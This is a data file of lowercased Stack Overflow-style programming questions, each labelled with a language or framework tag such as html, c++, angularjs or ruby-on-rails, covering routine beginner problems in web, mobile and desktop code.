<a> tag link will not work in firefox  but will work in ie  listed below is my code  this is working fine in ie but not in firefox or any other browser  can anyone see the issue  this code is generated using a .ascx header file in my asp.net application - viewing the source on ie and firefox returns the same exact thing  but when i click the item in firefox  nothing happens - when in ie  it directs me to the right page. none of the links listed below work in firefox but they all work in ie   <pre><code>&lt;table cellpadding= 0  cellspacing= 0  border= 0  height= 19 &gt;                 &lt;tr&gt;                     &lt;a href= ../homepage.aspx &gt;                         &lt;td id= myheader_td0_a  class= tab_white  width= 61  align= center  valign= middle &gt;home&lt;/td&gt;                      &lt;/a&gt;                     &lt;td width= 3 &gt;&lt;/td&gt;                          &lt;a href= ../listing/summarytreemain.aspx &gt;                     &lt;td id= myheader_td1_a  class= tab_blue  width= 61  align= center  valign= middle  lock= true &gt;plan&lt;/td&gt;                      &lt;/a&gt;                     &lt;td width= 3 &gt;&lt;/td&gt;                     &lt;a href= ../execution/todolist.aspx &gt;                         &lt;td id= myheader_td2_a  class= tab_white  width= 61  align= center  valign= middle &gt;execute&lt;/td&gt;                      &lt;/a&gt;                     &lt;td width= 3 &gt;&lt;/td&gt;                     &lt;a href= ../reports/reports.aspx &gt;                         &lt;td id= myheader_td3_a  class= tab_white  width= 61  align= center  valign= middle &gt;report&lt;/td&gt;                      &lt;/a&gt;                 &lt;/tr&gt;             &lt;/table&gt; </code></pre>   thank you.,html
how to use indexof on an arraylist of class  i have an arraylist of sprite     <pre><code>public class world { arraylist&lt;sprite&gt; sprites; }  public class sprite {       public sprite(string image_src  float x  float y) {  }   public class stone {       public stone(string image_src  float x  float y) {  } </code></pre>   how do i use indexof on this sprites in world class to get the first instance with class name stone,java
how to resize picture on browser  i need to set the background image of my website to this picture.    <img src= https://i.stack.imgur.com/qrtxn.gif  alt= enter image description here >    however  when i look at the page  i see white space on that page as illustrated below:    <img src= https://i.stack.imgur.com/bg0v9.jpg  alt= enter image description here >    i want the picture to cover the whole space  and when i open the site in any computer it must show the same. finally i could not write text in the middle part of the center of the image. not on top  but in the middle center of picture. here is  what i have so far    <img src= https://i.stack.imgur.com/flk8g.jpg  alt= enter image description here >    i need to  have this text on the page in the middle part. not in high part of page  but in the middle. here is a short fragment of code that i have so far:   <pre><code>&lt;html xmlns= http://www.w3.org/1999/xhtml  xml:lang= ka-ge  lang= ka-ge  &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;/head&gt; &lt;style&gt; #links {    postiton:absolute;     margin: 0 auto;      width: 4800px;      font-size:50px;     clear: both;      display: block;     z-index:-90; } #test a {     float: right; } a  a:active  a:visited {     color: light-blue;     a {text-decoration:none;} } &lt;/style&gt; &lt;style&gt;  a {text-decoration:none;} &lt;/style&gt;  &lt;body    &gt;   &lt;a href= eng/index.html &gt;&lt;img src = english.gif  style= float:right   width= 90  height= 90 &gt; &lt;/a&gt; &lt;a href= russ/index.html &gt;&lt;img src = russian.gif  alt= russian flag  style= float:right   width= 90  height= 90 /&gt;&lt;/a&gt; &lt;a href= index.html &gt; &lt;img src= georgian.jpg   style= float:right  width= 90  height= 90 /&gt;&lt;/a&gt; &lt;img src= 11.gif  width= 100%  height= 100% /&gt; &lt;div id= links &gt;  &lt;a href=  index.html   &gt;მთავარი &lt;/a&gt; &amp;nbsp; &lt;a href=  ბაკურიანი.html  &gt;ბაკურიანი &lt;/a&gt; &amp;nbsp; &lt;a href=  გუდაური.html  &gt;გუდაური &lt;/a&gt; &amp;nbsp; &lt;a href=  ზღვა.html  &gt;ზღვა &lt;/a&gt; &amp;nbsp; &lt;a href=  კახეთი.html  &gt;კახეთი &lt;/a&gt; &amp;nbsp; &lt;a href=  სვანეთი.html  &gt;სვანეთი &lt;/a&gt; &amp;nbsp; &lt;a href=  ვარძია.html  &gt;ვარძია &lt;/a&gt; &amp;nbsp; &lt;a href=  ქართლი.html  &gt;ქართლი &lt;/a&gt; &amp;nbsp; &lt;a href=  ძველი_თბილისი.html  &gt;ძველი_თბილისი &lt;/a&gt; &amp;nbsp; &lt;a href=  დაკავშირება.html  &gt;კონტაქტი &lt;/a&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
rails summing column values of rows with similar attributes  i have a sites table that has columns name  and time. the name does not have to be unique. so for example i may have the entries  hi.com  5    hi.com  10    bye.com  4 . i would like to sum up all the unique sites so that i get  hi.com  15  and  bye.com  4  for plotting purposes. how can i do that  (for some reference i was looking at <a href= http://railscasts.com/episodes/223-charts  rel= nofollow >http://railscasts.com/episodes/223-charts</a> but i couldn t get the following (translated to my table) to work   <pre><code>def self.total_on(date)    where( date(purchased_at) =     date).sum(:total_price)  end </code></pre>   nor do i really understand the syntax of the  <code>where( date(purchased_at) =     date)</code>  part.     thanks for helping a rails newbie!,ruby-on-rails
angular two ng-repeat in one table make duplicate  i m working on a new project and i m really stuck in that table.    there are two list of objects: <code>settingtime</code> and <code>settings</code>   and i want to put them together in one cell with ng-if. but when i do that they are duplicate and just make more cells.    *one thing is there are 7 tables for each day. this is an example for sunday.    the ng-if that i want to check is when the <code>settingtime.id</code> is equal to the <code>setting.settingtimeid</code> <strong>and while they are equal put them together in one cell.</strong>    <img src= https://image.prntscr.com/image/5lg4t7yis6a3iigfrb7fpa.png  alt= enter link description here >    html:   <pre><code>&lt;table class= table table-bordered table-striped &gt; &lt;tr&gt;     &lt;th&gt;sunday&lt;/th&gt; &lt;/tr&gt; &lt;tbody ng-repeat= setting in settings &gt; &lt;tr ng-repeat= settingtime in settingtimes | orderby: time  | filter:by_shiftday  ng-if= settingtime.shiftday== sunday  &gt;     &lt;td ng-if= setting.settingtimeid==settingtime.id &gt;     {{settingtime.shiftday}}     &lt;/br&gt;     {{settingtime.time}}     &lt;/br&gt;     settingtimeid: {{setting.settingtimeid}} {{settingtime.id}}     &lt;/br&gt;     role:{{setting.role}}     &lt;/br&gt;     workeramount:{{setting.workeramount}}     &lt;button class= btn btn-primary  ui-sref= editsettingtime  ng-click= editsettingtime(settingtime.id) &gt;edit&lt;/button&gt;     &lt;/br&gt;&lt;button class= btn btn-primary  ng-click= getallroles(); toggleright(); savesettingtime(settingtime.id); showaddsetting() &gt;addsetting&lt;/button&gt;      &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; </code></pre>      <hr>  <pre><code>settingtime: [     { id :2  shiftday : monday   hours :0  minutes :0  time : 12:00 }      { id :202  shiftday : saturday   hours :0  minutes :0  time : 06:00 }      { id :5  shiftday : friday   hours :0  minutes :0  time : 17:30 }      { id :4  shiftday : sunday   hours :0  minutes :0  time : 19:00 }       { id :302  shiftday : wednesday   hours :0  minutes :0  time : 15:00 }       { id :3  shiftday : monday   hours :0  minutes :0  time : 06:00 }       { id :1  shiftday : sunday   hours :0  minutes :0  time : 15:00 }       { id :101  shiftday : tuesday   hours :0  minutes :0  time : 10:00 }       { id :201  shiftday : thursday   hours :0  minutes :0  time : 12:00 }       { id :6  shiftday : wednesday   hours :0  minutes :0  time : 10:00 } ]  settings: [     { id :2  settingtimeid :4  role :1  workeramount :1}      { id :4  settingtimeid :1  role :4  workeramount :3}      { id :1  settingtimeid :1  role :1  workeramount :1}      { id :3  settingtimeid :1  role :2  workeramount :2}] </code></pre>,angularjs
how to redirect to page if locale doesn t exist   can i redirect to the  /en  page if locale doesn t exist in rails     i use i18n and the next code:   <pre><code>match  *path  =&gt; redirect( / )  via: :get </code></pre>   but it redirects only for the path  but not for the locale. how can i use it for the locales too,ruby-on-rails
how to retrieve first few bits from a bitset   if i have a bitset like:   <pre><code>std::bitset&lt;8&gt; bs = 00000101; </code></pre>   how can i only retrieve the bitset  101  from bs  to make things simpler  i already know i will need the first three bits.    with @baum s help i have something like this so far:   <pre><code>std::bitset&lt;8&gt; bs = 00000101; int off = 3; // the number of bits i would like std::string offstr;  // final substring of bitset i wanted for (std::size_t i = 0; i &lt; off; ++i) {       offstr += bs[i]; } return offstr; // resulting substring </code></pre>,c++
how to search a particular string in the followings tweets of twitter using twitter api in asp.net   is there a functionality to search for particular string in the tweets on twitter         kindly help me out..,asp.net
how can i pass call a function on a child controller from the parent and pass a parameter   i have an html page and a parent controller:   <pre><code>&lt;a data-ng-click= callchild( x ) &gt;&lt;/a&gt;  $scope.callchild = function (task) {  } </code></pre>   how can i make it so that when the link is clicked then the function callchild is  executed in a child controller and the argument is passed to the child controller function,angularjs
jquery attribute selector does not work  i have the following element in my html:   <pre><code>&lt;button id= btn-confirm-cancel-22  type= button  class= font-size-large  data-toggle= modal  data-target= #cancelproposalconfirationmodal  data-cancel-rid= 22 &gt;cancel&lt;/button&gt; </code></pre>   and this jquery function:   <pre><code>$( [data-cancel-rid] ).on( click   function (event) {     var request_id = $(this).attr( data-cancel-rid );     console.log(request_id); }); </code></pre>   when clicking the button the browser does not call the jquery function. why,jquery
change pseudo property via jquery   i have the stylesheet:   <pre><code>#progress {     width:100px;     height:8px;     background-color:#cccccc;     position:relative; } #progress:before {     content:  ;     position:absolute;     left:0;     background-color:#0066cc;     width:50px;     height:8px; } </code></pre>   html content   <pre><code>&lt;div id= progress &gt; </code></pre>   i want to change the property <code>width:50px</code> of #progress:before by jquery   <pre><code>$( #progress:before ).css( width  60); </code></pre>   but it doesn t work. can any one help me. i m not good at english  thank you!,jquery
pass rails variable from controller to js  <strong>problem description:</strong>    i have a view with set of links:   <pre><code>&lt;% @feeds.each do |f| %&gt;                   &lt;div class= feed &gt;     &lt;span class= feed_counts &gt; &lt;%= f.display_counts %&gt; &lt;/span&gt;     &lt;%= link_to  refresh   { :controller =&gt;  feeds   :action =&gt;  refresh_feed   :feed_id =&gt; f.id}  :remote =&gt; true  :class =&gt;  refresh_feed_link  %&gt;     &lt;/div&gt; &lt;% end %&gt; </code></pre>   users click on the link and launch next controller method:   <pre><code>def refresh_feed   @feed = feed.find(params[:feed_id])   @feed.parse end </code></pre>   now i want to change the content of the corresponding span-element to @feed.total_count value.    <strong>my attempts:</strong>    well  as i know there is a two way s to do it without reloading whole the page:    <em>way 1:</em>    i can include js in my layout:   <pre><code>&lt;%= render :partial =&gt;  shared/partial_js  %&gt; </code></pre>   and use this code in the partial_js:   <pre><code>&lt;script type= text/javascript &gt;   $().ready(function() {      $( .refresh_feed_link ).bind( click   function() {       $(this).closest( .feed ).find( span.feed_counts ).text( woo );     });  }); &lt;/script&gt; </code></pre>   in this case i have  $(this)  and i can find the corresponding  span  element. but i don t have any possibility to get my @feed varible value.    <em>way 2:</em>    i can add    <pre><code>respond_to do | format |     format.js {render :layout =&gt; false}   end </code></pre>   to my controller and create refresh_feed.js.erb file.  in this js file i can use my variable as &lt;% @feed.total_count %>  but i don t know which of my multiple links was clicked.  in the other words the $(this) variable in this file will be (window) and i cannot find corresponding span-element.    <strong>question:</strong>    is there any way to get what i want  <br> thanks in advance.,ruby-on-rails
why is that when i do an if code in php i get a value  i set an if in php code and instead of it passing and allowing my data if it equals a value. it instead returns my value back. here is the code:   <pre><code>   if(getdatasql( value    configuration    website_chatbox ) ==  active ) {          echo  hello world ;     } </code></pre>   instead of getting my code it instead outputs the value active.   <pre><code>   active </code></pre>   why is my code not working,php
how to apply dynamic class to body tag  i am working on angular application.    i have multiple views and one index and i just need to apply dynamic class for one of the view and remove it for other views     can anyone guid me how to do it.,angularjs
how to pass the images to library project from main project in iphone  i have one library project and one main project  i want pass the images from main project to my library project  so i can achieve this.,iphone
generate date of birth from id number for people born after 2000  i am looking for a function to generate/ populate date of birth for id numbers of people born after 2000.    this is my code right now  but it doesn t extend to after 2000   <pre><code>   var year = idnumber.substring(0  2);    var month = idnumber.substring(2  4)    var day = idnumber.substring(4  6)    var dob =  19  + year +  /  + month +  /  + day; </code></pre>   how can i modify this to accommodate > 2000,javascript
deleting a pointer to the list of pointers  i create a class  which creates a new list of pointers to objects:   <pre><code>featureset::featureset() {     this-&gt;featureslist = new list&lt;haarfeature*&gt;;     globalcounter = 0; } </code></pre>   now i would like to delete all object from the list  and then delete the pointer to the list. my code is:   <pre><code>featureset::~featureset() {     for (list&lt;haarfeature*&gt;::iterator it = featureslist-&gt;begin(); it !=     featureslist-&gt;end(); it++) {         delete *it;     }     delete featureslist; // this take a long time (more than half a minute) } </code></pre>   my question is what is the best method to solve this problem  does my approach is correct  unfortunately  currently the last operation (deleting a pointer to the list) takes about half minute. list has about 250000 objects.,c++
c++ how to read in a text file and reverse the lines so it reads from bottom up  please help i m new to c++    using stacks implementation    i should read a sample text file containing:   <pre><code>text file begining to end return text </code></pre>   and return a text file reading:   <pre><code>return text begining to end test file </code></pre>   this is the sample code to test the implementation:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;string&gt; #include  stack1.h  using namespace std  void reverse (ifstream &amp; infile  ofstream &amp; outfile);  //function prototype  int main () {  ifstream infile;  // declaring a file for input ofstream outfile; // declaring a file for output infile.open ( c:\\myinputfile.txt );     if (!infile)  { cout &lt;&lt;  file could not be opened.  program terminated.  &lt;&lt; endl;            return 1;    // terminates program          }  outfile.open ( c:\\myoutfile.txt );  reverse (infile  outfile);  infile.close(); outfile.close();  return 0;  }  void reverse (ifstream &amp; infile  ofstream &amp; outfile) {  string s;  stack&lt;string&gt; mystack;   getline(infile  s); // try to read a line of text from the file  while (!infile) { // while not end of file   mystack.push(s);   getline(infile  s); // try to read another line   }  while (! mystack.isempty() ) {   s = mystack.pop();   outfile &lt;&lt; s &lt;&lt; endl; // write s to the outfile   }  } </code></pre>,c++
form action= your-shop  : what does this mean without file extension   i have seen filename(with file extension) or url inside action attribute but never seen anything like this code below.   <pre><code>&lt;form action= your-shop  name= shop_name_form  id= shop_name_form  method= post  onsubmit= return check_shopname(this); &gt; &lt;/form&gt; </code></pre>   here action attribute contains may be a file name but no file name extension. what will it do when i press submit button please explain it in details,html
difference between id and name attributes in html  what is the difference between the <code>id</code> and <code>name</code> attributes  they both seem to serve the same purpose of providing an identifier.    i would like to know (specifically with regards to html forms) whether or not using both is necessary or encouraged for any reasons.,html
sql select rows with unique values  i m having a problem getting the rows i need from my database.    the question is simple: i have a table with customer data in it. now i want to do a mailing (via post) to all my customers  but i only want to send it to every address once. so if any customers live on the same address (street  number  postal code  city) i only want to send the letter to the oldest person living at that address.    the fields i need are title  last name  first name  street  number  ... (for exporting purposes). i tried using group by on the address fields but then i get the error i need to use an aggregate function on the other fields (name  ...) and i don t want to do that...    any suggestions,sql
my email signature needs to be edge to edge instead of being to the left  i have created a small html signature but its inline  to the left and my boss needs it to be edge to edge instead of being inclined to the left. i need to fix this but i m not very good at html so i d love some advice  or better still somebody who can help me redo it  well i know its a walk in the park for anybody good at html :-)    here is the code.   <pre><code>&lt;html&gt;  &lt;head&gt; &lt;/head&gt;  &lt;body style= -webkit-text-size-adjust: 100%; &gt;   &lt;table cellspacing= 0  cellpadding= 0  border= 0 &gt;     &lt;tbody&gt;       &lt;tr&gt;         &lt;td valign= top  style= padding-left: 0px; padding-top: 0px; padding-bottom: 0px; padding-right: 0px;  colspan= 2 &gt;           &lt;span style= text-align: left; color: #52524d; font-family: helvetica  arial  sans-serif; font-size: 13pt; font-weight: bold &gt;&lt;b&gt;mathenge anthony&lt;/b&gt; |&lt;i&gt;&lt;small&gt; intern&lt;/small&gt;&lt;/i&gt;&lt;/span&gt;       &lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td valign= top  style= padding-left: 0px; padding-top: 0px; padding-bottom: 2px; padding-right: 0px;  colspan= 2 &gt;           &lt;a href= http://www.systechafrica.com &gt;&lt;img src= http://www.qualitexsolutions.com/img/works/systech.png  nosend= 1  border= 0  width= 200  height= 120  alt= systech africa  title= systech africa  /&gt;&lt;/a&gt;         &lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td valign= top  style= padding-left: 0px; padding-top: 0px; padding-bottom: 0px; padding-right: 0px;  colspan= 2 &gt;&lt;span style= text-align: left; color: #000000; font-family:  arial   sans-serif; font-size: 9pt; font-style: normal; font-weight: normal; &gt; 1st floor mayfair business centre  parklands road  westlands &amp;nbsp;&lt;font size= 1  color= #b9b9b9 &gt;&lt;br&gt;&lt;/font&gt;&amp;nbsp;p.o. box 41964 - 00100&amp;nbsp;&lt;font size= 1  color= #b9b9b9 &gt;|&lt;/font&gt;&amp;nbsp;nairobi  kenya.&lt;br&gt;&lt;/span&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td valign= bottom  style= padding-left: 0px; padding-top: 6px; padding-bottom: 0px; padding-right: 0px; &gt;&lt;span style= text-align: left; color: #000000; font-family:  arial   sans-serif; font-size: 7pt; font-style: normal; font-weight: normal; &gt;&lt;font color= #828282 &gt;&lt;b&gt;phone:&lt;/b&gt;&lt;/font&gt;&amp;nbsp; &lt;/span&gt;&lt;/td&gt;         &lt;td align= left  width= 100%  valign= top  style= padding-left: 6px; padding-top: 6px; padding-bottom: 0px; padding-right: 0px; &gt;&lt;span style= text-align: left; color: #000000; font-family:  arial   sans-serif; font-size: 9pt; font-style: normal; font-weight: normal; &gt; (+254) 020 2115993/3742207 &lt;/span&gt;&lt;/td&gt;       &lt;/tr&gt;        &lt;tr&gt;         &lt;td valign= bottom  style= padding-left: 0px; padding-top: 0px; padding-bottom: 0px; padding-right: 0px; &gt;&lt;span style= text-align: left; color: #000000; font-family:  arial   sans-serif; font-size: 7pt; font-style: normal; font-weight: normal; &gt;&lt;font color= #828282 &gt;&lt;b&gt;mobile:&lt;/b&gt;&lt;/font&gt;&amp;nbsp; &lt;/span&gt;&lt;/td&gt;         &lt;td align= left  width= 100%  valign= top  style= padding-left: 6px; padding-top: 0px; padding-bottom: 0px; padding-right: 0px; &gt;&lt;span style= text-align: left; color: #000000; font-family:  arial   sans-serif; font-size: 9pt; font-style: normal; font-weight: normal; &gt; 0723-847842  0786-384784 &lt;/span&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td valign= bottom  style= padding-left: 0px; padding-top: 0px; padding-bottom: 0px; padding-right: 0px; &gt;&lt;span style= text-align: left; color: #000000; font-family:  arial   sans-serif; font-size: 7pt; font-style: normal; font-weight: normal; &gt;&lt;font color= #828282 &gt;&lt;b&gt;fax:&lt;/b&gt;&lt;/font&gt;&amp;nbsp; &lt;/span&gt;&lt;/td&gt;         &lt;td align= left  width= 100%  valign= top  style= padding-left: 6px; padding-top: 0px; padding-bottom: 0px; padding-right: 0px; &gt;&lt;span style= text-align: left; color: #000000; font-family:  arial   sans-serif; font-size: 9pt; font-style: normal; font-weight: normal; &gt; (+254) 020 224 0363 &lt;/span&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td valign= top  style= padding-left: 0px; padding-top: 6px; padding-bottom: 0px; padding-right: 0px;  colspan= 2 &gt;&lt;span style= text-align: left; margin-top: 0px; color: #00adef; font-size: 8pt; font-weight: bold; font-family:  calibri   sans-serif; &gt;&lt;a style= text-decoration: none; color: #00adef  href= http://www.systechafrica.com/ &gt;&lt;font color= #00adef &gt;website&lt;/font&gt;&lt;/a&gt;&amp;nbsp;&lt;font size= 1  color= #00adef &gt;&amp;nbsp;&lt;font size= 1  color= #00adef &gt;|&lt;/font&gt;&amp;nbsp;&lt;a style= text-decoration: none; color: #00adef  href= https://www.google.com/maps/place/systech+limited/@-1.262282 36.808949 15z/data=!4m2!3m1!1s0x0:0xf5bbb42d28fa1a88 &gt;&lt;font color= #00adef &gt;map&lt;/font&gt;&lt;/a&gt;&amp;nbsp;&lt;font size= 1  color= #00adef &gt;|&lt;/font&gt;&amp;nbsp;&lt;a style= text-decoration: none; color: #00adef  href= mailto:info@systechafrica.com &gt;&lt;font color= #00adef &gt;email&lt;/font&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;           &lt;td valign= top  style= padding-left: 0px; padding-top: 10px; padding-bottom: 0px; padding-right: 0px;  colspan= 2 &gt;           &lt;img src= http://s24.postimg.org/y4lzmrxut/fundmaster.png  nosend= 1  border= 0  width= 250  height= 70  alt=   /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;         &lt;/td&gt;       &lt;/tr&gt;       &lt;tr&gt;         &lt;td valign= top  style= padding-left: 0px; padding-top: 7px; padding-bottom: 0px; padding-right: 0px;  width= 100%  colspan= 2 &gt;           &lt;a href= https://twitter.com/systechltdke &gt;&lt;img src= https://simplesharebuttons.com/images/somacro/twitter.png  nosend= 1  border= 0  width= 22  height= 20  alt= twitter  /&gt;&lt;/a&gt;           &lt;a href= https://www.facebook.com/systechlimited &gt;             &lt;img src= https://simplesharebuttons.com/images/somacro/facebook.png  nosend= 1  border= 0  width= 22  height= 20  alt= facebook  /&gt;&lt;/a&gt;           &lt;a href= https://www.linkedin.com/company/systech-limited &gt;&lt;img src= https://simplesharebuttons.com/images/somacro/linkedin.png  nosend= 1  border= 0  width= 22  height= 20  alt= linkedin  /&gt;&lt;/a&gt;           &lt;a href= https://plus.google.com/115976292984421142673/about &gt;&lt;img src= https://simplesharebuttons.com/images/somacro/google.png  nosend= 1  border= 0  width= 22  height= 20  alt= google+  /&gt;&lt;/a&gt;         &lt;/td&gt;       &lt;/tr&gt;      &lt;/tr&gt;     &lt;/tbody&gt;   &lt;/table&gt; &lt;/body&gt; &lt;style&gt;   a {color: #00adef;} &lt;/style&gt;  &lt;/html&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt; </code></pre>,html
android - how to add footer from xml layout to a custom activity to display it in all activities   i want to create a custom activity to display a footer to all activities that extend it. i have created an xml layout called footer.xml how could i add it to this custom activity     <pre><code>public class customactivity extends activity {     @override     protected void oncreate(bundle savedinstancestate)     {         super.oncreate(savedinstancestate);         //what should i do to add footer there       } }    </code></pre>,android
pull-right class is not pulling right instead dropping down other buttons  sorry guys im new to code so something like this might seem like a stupid question but this is the first time i cant find any answers online.    basically like the title says the pull-right class is not pulling right instead it is dropping down other buttons. take a look at my codepen test file <a href= https://codepen.io/goceman86/pen/xdeoqv  rel= nofollow noreferrer >https://codepen.io/goceman86/pen/xdeoqv</a>    heres the html code... so far i only tried the pull right function on the last button   <pre><code>&lt;header&gt;   &lt;!-- latest compiled and minified css --&gt;   &lt;link rel= stylesheet   href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css   integrity= sha384- bvyiisifek1dgmjrakycuhahrg32omucww7on3rydg4va+pmstsz/k68vbdejh4u   crossorigin= anonymous &gt;   &lt;link rel= stylesheet  type= text/css   href= http://fonts.googleapis.com/css family=lobster  /&gt; &lt;/header&gt;  &lt;div class= container-fluid &gt;    &lt;button class= btn-primary mebtn &gt;&lt;a href= #  class= btnfont  style= font-family: lobster ; font-size:1.8em; &gt;inho jo&lt;/a&gt;&lt;/button&gt;    &lt;button class= btn-primary ambtn &gt;&lt;a href= #  class= btnfont  style= font-family: lobster ; font-size:1.8em; &gt;about me&lt;/a&gt;&lt;/button&gt;     &lt;button class= btn-primary profbtn &gt;&lt;a href= #  class= btnfont  style= font-family: lobster ; font-size:1.8em; &gt;profile&lt;/a&gt;&lt;/button&gt;      &lt;button class= btn-primary cmbtn &gt;&lt;a href= #  class= btnfont pull-right  style= font-family: lobster ; font-size:1.8em &gt;contact me&lt;/a&gt;&lt;/button&gt; &lt;/div&gt; </code></pre>,html
hashing a filepath  i would like to hash a filepath and save a file with the resulting hash value.     what is a lightweight hashing method in objective c and will saving a file with the hash value preserve the file format after extraction,objective-c
how do i create a list of filenames from a folder in c#  i got a problem when i want to populate an array with the file names.    the code is:   <pre><code> string [] arrays= {};  string sdira=  path of the directory ;   foreach (string d in directory.getdirectories(sdira))  {     foreach (string f in directory.getfiles(d   *.* ))`enter code here`    {      int j = 0;       array[j++] = path.getfiles(f);    }   } </code></pre>   when i loop through array  the array contains nothing :( so how to fill the array in this case   or any better solution :),c#
android google map v2 fragment black bg issue  how to make the black background transparent in google map v2 while scrolling    <pre><code>&lt;relativelayout                     android:id= @+id/relativelayout1                      android:layout_width= match_parent                      android:layout_height= 134dp                      android:layout_alignparenttop= true                      android:layout_gravity= center  &gt;                      &lt;fragment                         xmlns:android= http://schemas.android.com/apk/res/android                          android:id= @+id/map                          android:layout_width= fill_parent                          android:layout_height= 434dp                          android:layout_marginbottom= -150dp                          android:layout_marginleft= 3dp                          android:layout_marginright= 3dp                          android:layout_margintop= -150dp                                                 class= com.google.android.gms.maps.supportmapfragment                          android:cachecolorhint= @color/transparent                          android:clickable= true  /&gt;                      &lt;framelayout                         android:id= @+id/fram_lay                          android:layout_width= match_parent                          android:layout_height= 172dp  &gt;                          &lt;android.support.v4.view.viewpager                             android:id= @+id/fragment_container                              android:layout_width= fill_parent                              android:layout_height= 134dp  &gt;                         &lt;/android.support.v4.view.viewpager&gt;                          &lt;framelayout                             android:id= @+id/fram_lay2                              android:layout_width= match_parent                              android:layout_height= 334dp                              android:layout_margintop= -100dp                                                          android:background= @android:color/transparent                              android:cachecolorhint= #00000000  /&gt;                     &lt;/framelayout&gt;                 &lt;/relativelayout&gt; </code></pre>   i have given transparent frame over map but still it is flickering. please somebody give me a solution thank you,android
marking a member variable to not copy  i have a class that contains pod members. i need to have all members copied  except one (member a in the example case). the way i m doing it right now is as follows:   <pre><code>class example { private:     int a = 0;     int b = 0;     int c = 0;     int d = 0;     double e = 0;  public:     example&amp; operator=(const example &amp;rhs)     {         b = rhs.b;         c = rhs.c;         d = rhs.d;         e = rhs.e;                   return *this;     }      example() {};      example(const example&amp; tocopy)     {        *this = tocopy;     } }; </code></pre>   is there a way to mark the variable to not copy  as doing it this way is verbose and prone to bugs if i later modify this class,c++
angularjs push empty element to array  i m trying to add new rows.cell element but push syntax is not clear for me. if i specify push([]) i see on page changes. however instead of new empty div created i see new  with square brackets  [] .    pleas advise how to add new empty element to each rows.cell array     <strong>html code:</strong>                                <pre><code>        &lt;div class= row  ng-repeat= row in rows &gt;             &lt;div class= cell  ng-repeat= cell in row.cell &gt;{{ cell }}&lt;/div&gt;         &lt;/div&gt;       &lt;/div&gt; </code></pre>   <strong>controller code:</strong>   <pre><code>     angular.module( myapp   [])      .controller( infotable   function($scope) {         $scope.rows = [                        { id : 10   cell : [ a   b   c ]}                          { id : 11   cell : [ a   b   c ]}                       ];         $scope.addcolumn = function (){             $scope.rows.foreach(function($row){                 $row.cell.push([]);             });         }      }); </code></pre>   <strong>solved:</strong>  track by $index  added to ng-repeat= cell in row.cell  and now new array element can be added using    <pre><code>$row.cell.push(  ); </code></pre>,angularjs
"how can i middle align text and images in table row  i want to middle align the following - how can i do that:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= container-fluid  style= height:100% &gt;
     &lt;table id= pulsetable  class= display2  style= height:100% &gt;
         &lt;tbody id= pulsebody  style= height:100% &gt;&lt;tr class= pulseheader &gt;
 &lt;td class= pulseheader  style= padding-top: 10px; padding-bottom: 10px; font-size: 16px; font-weight: bold; &gt;manager&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr class= pulseline  style= height: 20px; &gt;
 &lt;td class= pulseline  style= padding-left: 40px; font-size: 12px; font-style: normal; &gt;header&lt;/td&gt;
 &lt;td class= pulseline  style= padding-left: 20px; font-size: 12px; font-style: normal; &gt;new york ii&lt;/td&gt;
 &lt;td class= none  style= padding-left: 20px; &gt;&lt;img src= http://blog.sckyzo.com/wp-content/google-small.png  style= height: 30px; width: auto; &gt;&lt;/td&gt;
 &lt;/tr&gt;
         &lt;tbody&gt;
     &lt;/table&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",html
vectors to grid of points - php  <img src= https://i.stack.imgur.com/cbafj.jpg  alt= vector >    points a and b got timestamps <code>$ta</code>  <code>$tb</code> and positions: <code>($xa $ya)</code> and <code>($xb $yb)</code>... what i need to do  is to convert that vector to grid of points of given size of grid field  - <code>$size</code> and to assign those poits proper times depending of what part of vector actually touches certain grid field.    any way to do this fast,php
how to disable parent window in asp.net using javascript  i hv an asp.net form in which i have used master page  in this by clicking on one link button a popup window will be opened  my problem is i want to close a popup child window when parent form is closed.. or i should make parent form disable when child popup is active... i got some code but its working only for ie   please help me to work this in google chrome  this is my code which is working for ie  in parent window i wrote like this   <pre><code>function topwindow() {     var popup = window.open( branchsearch.aspx    mywindow    location=1 width=450 height=100 toolbar=0 menubar=no resizable=no scrollbars=no status=no left=340 top=340 );     popup.focus();         } </code></pre>   and in body tag of child pop window i wrote like dis         please help me as soon as possible thank u,asp.net
position text under each other and stretch  here is my css code;   <pre><code>#nav a {   display:block;   background: #1a1a1a;    color: #fff;    text-decoration: none;   padding: 20px;   text-transform: uppercase;   font-size: 11px;   letter-spacing: 1px;   text-shadow: 0 -1px 0 #000;   width: 100%;   height: 100%;   position: static;   float:left;    } </code></pre>   here is the problem:    <a href= https://i.stack.imgur.com/ie72m.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ie72m.png  alt= enter image description here ></a>    i m trying to make each item have it s own line (on the image you can see re-tweets and likes are on the same line)  when they should be on a separate line. also  as you can see by looking at the re-tweets and likes background  it doesn t stretch to the red border because the text isn t long enough. how would i make the background stretch to the border width  here is more code used for this section;   <pre><code>  /* submenu positioning*/   #nav ul {   position: absolute;   z-index: 1;   left: -99999em;   width: auto;   height: auto;   border: 1px solid #a81e1e;  } </code></pre>   another example of the background not stretching:    <a href= https://i.stack.imgur.com/0zbg4.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/0zbg4.png  alt= enter image description here ></a>,css
